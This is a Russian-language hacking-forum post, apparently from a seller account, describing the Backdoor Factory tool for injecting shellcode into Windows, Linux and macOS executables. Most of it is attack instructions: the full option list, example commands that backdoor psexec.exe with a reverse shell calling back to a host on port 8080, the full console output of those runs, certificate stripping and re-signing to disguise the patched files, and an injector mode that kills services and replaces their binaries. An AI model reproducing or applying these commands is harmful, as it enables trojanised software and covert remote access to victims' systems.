Средство для патча шеллкодом - backdoor factory (bdf)

Tartuga

Бывалый
ПРОВЕРЕННЫЙ ПРОДАВЕЦ
PREMIUM USER

Tartuga

Бывалый
ПРОВЕРЕННЫЙ ПРОДАВЕЦ
PREMIUM USER
Регистрация
7 Фев 2020
Сообщения
525
Реакции
98
Репутация
147
Backdoor Factory (BDF) патчит шеллкодом исполнимые файлы PE, ELF, Mach-O.

Цель BDF – это пропатчить исполнимые бинарники желаемым шеллкодом и сохранить их нормальное выполнение как в до пропатченном состоянии.

Поддерживаются: Windows PE x32/x64 и Linux ELF x32/x64 (System V).

Некоторые исполнимые файлы имеют встроенные защиты, т.е. программа будет срабатывать не на всех бинарниках. Рекомендуется тестировать исполнимые файлы перед распространением файлов на клиентские машины или использовании в упражнении.

Особенности:

PE файлы

  • Может найти

    Пожалуйста Авторизуйтесь или Зарегистрируйтесь для просмотра скрытого текста.

    в EXE/DLL.
  • По умолчанию очищает указатель на таблицу PE сертификатов, следовательно, снимает подпись с исполнимого файла.
  • Может сделать инжект шеллкода внутрь code caves или в новую секцию.
  • Может найти, должен ли исполнимый файл PE запускаться с повышенными привилегиями.
  • При выборе code caves, вы можете использовать следующие команды:
  • -Jump (j), для прыжка code cave
  • -Single (s), для патчинга всего вашего шеллкода в одну code cave
  • -Append (a), для создания code cave
  • -Ignore (i или q), игнорировать этот бинарник
  • Может игнорировать DLLs
  • Импорт таблицы парчинга
  • AutoPatching (-m automtic)
  • Onionduke (-m onionduke)
ELF файлы

  • Добавление 1000 байт (в байтах) к TEXT SEGMENT (текстовому сегменту) и инжект в эту секцию кода шеллкода.
Mach-O файлы

  • Патчинг Pre-Text Section и удаление подписи
В общем и целом

Пользователь может:

  • Предоставить пользовательский шеллкод.
  • Патчить директорию исполнимых файлов/dll.
  • Выбрать для патча только исполнимые файлы x32 или x64.
  • Включить BDF в другие проекты на Python, смотрите pebin.py и elfbin.py
Домашняя страница:

Пожалуйста Авторизуйтесь или Зарегистрируйтесь для просмотра скрытого текста.



Автор: Joshua Pitts

Лицензия: GPLv3

Справка по Backdoor Factory
Использование:

backdoor.py [опции]
Опции:
-h, --help показать справку и выйти
-f ФАЙЛ, --file=ФАЙЛ ФАЙЛ для бэкдора
-s ШЕЛЛ, --shell=ШЕЛЛ
Полезные нагрузки, доступные для использования.
Используйте 'show' для просмотра полезных нагрузок.
-H ХОСТ, --hostip=ХОСТ
IP от C2 для обратного подключения.
-P ПОРТ, --port=ПОРТ Это порт как для обратного подключения в
обратном шелле, так и для прослушивания на связанном шелле
-J, --cave_jumping Выберите эту опцию, если вы хотите использовать code cave
jumping для дальнейшего скрытия шеллкода в бинарнике.
-a, --add_new_section
Указание добавлять новую секцию в exe
(лучший успех) но меньше шансов избежать антивирусы
-U SUPPLIED_SHELLCODE, --user_shellcode=SUPPLIED_SHELLCODE
Переданный пользователем шеллкод, убедитесь, что
соответствует архитектуре цели.
-c, --cave Флаг cave найдёт code caves, которые могут использоваться
для припрятывания шеллкода. Это выведет все
code caves указанного размера.
С этой настройкой можно использовать флаг -l.
-l SHELL_LEN, --shell_length=SHELL_LEN
Для использования с -c в помощи поиска code caves
различных размеров
-o ВЫВОД, --output-file=ВЫВОД
Файл выводао для бэкдора
-n NSECTION, --section=NSECTION
Имя новой специи, должно быть менее семи символов
-d ДИРЕКТОРИЯ, --directory=ДИРЕКТОРИЯ
Это расположение файлов, которые вы хотите
забэкдорить. Вы можете ускорить внедрение бэкдоров
принудительным вложением codecave в
exe используя настройку -a.
-w, --change_access Этот флаг меняет раздел, где находится codecave
на RWE. Иногда это необходимо. По умолчанию включено.
Если отключить, то backdoor может потерпеть неудачу.
-i, --injector Эта команда включает вbackdoor factory механизм
охоты и бэкдора (Hunt and backdoor: Injector).
Отредактируйте настройки цели в модуле инжектора.
-u СУФФИКС, --suffix=СУФФИКС
Для использования с инжектором, добавить суффикс к
оригинальному имени файла для простого восстановления
-D, --delete_original
Для использования с модулем инжектора. Эта команда удаляет
оригинальный файл. Не для использования в рабочих системах.
*Автор не несёт ответственности за тупое использование.*
-O DISK_OFFSET, --disk_offset=DISK_OFFSET
Начальная точка дискового смещения. Некоторые авторы
обфусцируют дисковым смещением для избегания
обратной инженерии, если вы нашли один из этих файлов,
то используйте этот флаг после нахождения смещения.
-S, --support_check Определить, поддерживается ли файл BDF до
бэкдоринга файла. Используйте как есть или в вербальном
режиме. Эта проверка проводится автоматически при
попытке встроить в файл бэкдор.
-M, --cave-miner Будущее использование, для определения самого
маленького шеллкода, возможного в файле PE
-q, --no_banner Убивает банер.
-v, --verbose Для вывода отладочной информации.
-T IMAGE_TYPE, --image-type=IMAGE_TYPE
ALL, x86, или x64 (тип исполнимых файлов). По умолчанию=ALL
-Z, --zero_cert Разрешает перезапись указателя на PE
таблицу сертификатов, эффективно удаляя сертификат
из двоичного файла для всех намерений и целей
-R, --runas_admin ЭКСПЕРИМЕНТАЛЬНАЯ Проверяет бинарники PE
на 'requestedExecutionLevel level="highestAvailable"'. Если
эта строка включена в бинарник, то он должен запускаться от
системы/админа. Если не в режиме Support Check mode
то будет сделана попытка проптчить highestAvailable в manifest
если существует запись requestedExecutionLevel.
-L, --patch_dll Используйте эту настройку если вы НЕ хотите патчить DLL.
По умолчанию они патчатся.
-F FAT_PRIORITY, --fat_priority=FAT_PRIORITY
Для формата MACH-O. Если fat файл, фокус на какую архитектуру
патч. По умолчанию это x64. Для принудительного x86 используйте -F x86,
для принудительного выбора обеих архитектур используйте -F ALL.
-B BEACON, --beacon=BEACON
Для полезных нагрузок с функцией прозвона,
установить время в секундах
-m PATCH_METHOD, --patch-method=PATCH_METHOD
Метод патча для файлов PE, 'manual','automatic',
replace и onionduke
-b SUPPLIED_BINARY, --user_malware=SUPPLIED_BINARY
Для onionduke. Укажите ваш желаемый бинарник.
-X, --xp_mode По умолчанию: НЕ поддерживать устаревшие
машины XP, используйте -X для поддержки XP. По
умолчанию бинарники будут останавливаться на XP
машинах (например, песочницы)
-A, --idt_in_cave ЭКСПЕРИМЕНТАЛЬНАЯ По умолчанию новый Import Directory Table
создаётся в новой секции, вызвав этот флаг
он будет размещён в code cave. Это может привести к вылету
исполнимого файла в некоторых обстоятельствах. Сперва протестируйте на целевых бинарников.
-C, --code_sign Только для тех, кто с сертификатами для подписи кода хочет подписать PE
исполнимые файлы. Укажите ваш ключ подписи и
приватный ключ, signingcert.cer и signingPrivateKey.pem
соответственно в директории сертификатов, получение
подписных сертификатов это ваша проблема.
Руководство по Backdoor Factory
Страница man отсутствует.

Примеры запуска Backdoor Factory
Патчить exe/dll используя существующий code cave:

./backdoor.py -f psexec.exe -H 192.168.0.100 -P 8080 -s reverse_shell_tcp

[*] In the backdoor module
[*] Checking if binary is supported
[*] Gathering file info
[*] Reading win32 entry instructions
[*] Looking for and setting selected shellcode
[*] Creating win32 resume execution stub
[*] Looking for caves that will fit the minimum shellcode length of 402
[*] All caves lengths: (402,)
############################################################
The following caves can be used to inject code and possibly
continue execution.
**Don't like what you see? Use jump, single, append, or ignore.**
############################################################
[*] Cave 1 length as int: 402
[*] Available caves:
1. Section Name: .data; Section Begin: 0x2e400 End: 0x30600; Cave begin: 0x2e4d5 End: 0x2e6d0; Cave Size: 507
2. Section Name: .data; Section Begin: 0x2e400 End: 0x30600; Cave begin: 0x2e6e9 End: 0x2e8d5; Cave Size: 492
3. Section Name: .data; Section Begin: 0x2e400 End: 0x30600; Cave begin: 0x2e8e3 End: 0x2ead8; Cave Size: 501
4. Section Name: .data; Section Begin: 0x2e400 End: 0x30600; Cave begin: 0x2eaf1 End: 0x2ecdd; Cave Size: 492
5. Section Name: .data; Section Begin: 0x2e400 End: 0x30600; Cave begin: 0x2ece7 End: 0x2eee0; Cave Size: 505
6. Section Name: .data; Section Begin: 0x2e400 End: 0x30600; Cave begin: 0x2eef3 End: 0x2f0e5; Cave Size: 498
7. Section Name: .data; Section Begin: 0x2e400 End: 0x30600; Cave begin: 0x2f0fb End: 0x2f2ea; Cave Size: 495
8. Section Name: .data; Section Begin: 0x2e400 End: 0x30600; Cave begin: 0x2f2ff End: 0x2f4f8; Cave Size: 505
9. Section Name: .data; Section Begin: 0x2e400 End: 0x30600; Cave begin: 0x2f571 End: 0x2f7a0; Cave Size: 559
10. Section Name: .rsrc; Section Begin: 0x30600 End: 0x5f200; Cave begin: 0x5b239 End: 0x5b468; Cave Size: 559
**************************************************
[!] Enter your selection: 5
Using selection: 5
[*] Changing Section Flags
[*] Patching initial entry instructions
[*] Creating win32 resume execution stub
[*] Overwriting certificate table pointer
[*] psexec.exe backdooring complete
File psexec.exe is in the 'backdoored' directory
Патчить exe/dll добавлением новой секции кода:

./backdoor.py -f psexec.exe -H 192.168.0.100 -P 8080 -s reverse_shell_tcp -a
[*] In the backdoor module
[*] Checking if binary is supported
[*] Gathering file info
[*] Reading win32 entry instructions
[*] Looking for and setting selected shellcode
[*] Creating win32 resume execution stub
[*] Creating Code Cave
- Adding a new section to the exe/dll for shellcode injection
[*] Patching initial entry instructions
[*] Creating win32 resume execution stub
[*] Overwriting certificate table pointer
[*] psexec.exe backdooring complete
File psexec.exe is in the 'backdoored' directory
Патчить директорию с exe:

./backdoor.py -d test/ -i 192.168.0.100 -p 8080 -s reverse_shell_tcp -a
...вывод слишком длинный для этой страницы...

Указанный пользователь шеллкод:

msfpayload windows/exec CMD='calc.exe' R > calc.bin
./backdoor.py -f psexec.exe -s user_supplied_shellcode -U calc.bin
This will pop calc.exe on a target windows workstation. So 1337. Much pwn. Wow.
PEcodeSigning

BDF может подписывать PE файлы если у вас есть сертификат для подписи кода (codesigning). Разместите ваш сертификат и приватный ключ в директорию certs/. Подготовьте ваш сертификат используя команду openssl:

Пожалуйста Авторизуйтесь или Зарегистрируйтесь для просмотра скрытого текста.



Разместите пароль вашего приватного ключа (gasp) следующий образом (в точности как здесь):

echo -n yourpassword > certs/passFile.txt
Назовите ваши сертификаты в ТОЧНОСТИ как показано:

signingCert.cer => certs/signingCert.cer
signingPrivateKey.pem => certs/signingPrivateKey.pem
Ваша директория certs/ должна в точности выглядеть так:

certs
├── passFile.txt
├── signingPrivateKey.pem
└── signingCert.cer
Включите подписывание кода PE флагом -C так:

./backdoor.py -f tcpview.exe -s iat_reverse_tcp_inline -H 172.16.186.1 -P 8080 -m automatic -C
При успешном запуске вы должны в выводе BDF увидеть следующую строку:

[*] Code Signing Succeeded
Hunt и backdoor: Injector | Только для Windows

Модуль injector будет искать на диске целевые бинарники для бэкдора. Он будет проверять, определили вы цель как службу, запущен ли процесс, убьёт процесс и/или службу, вставит в выполнимый файл шеллкод, сохранит оригинальный файл в file.exe.old или с другим суффиксом по выбору, попытается перезапустить процесс или службу.

Отредактируйте словарь целей Python "list_of_targets" в модуле 'injector' по своему выбору.

./backdoor.py -i -H 192.168.0.100 -P 8080 -s reverse_shell_tcp -a -u .moocowwow
Установка Backdoor Factory
Программа предустановлена в Kali Linux.

Установка в BlackArch
Программа предустановлена в BlackArch.

Информация об установке в другие операционные системы будет добавлена позже.

Скриншоты Backdoor Factory
Это утилита командной строки.
 
Сверху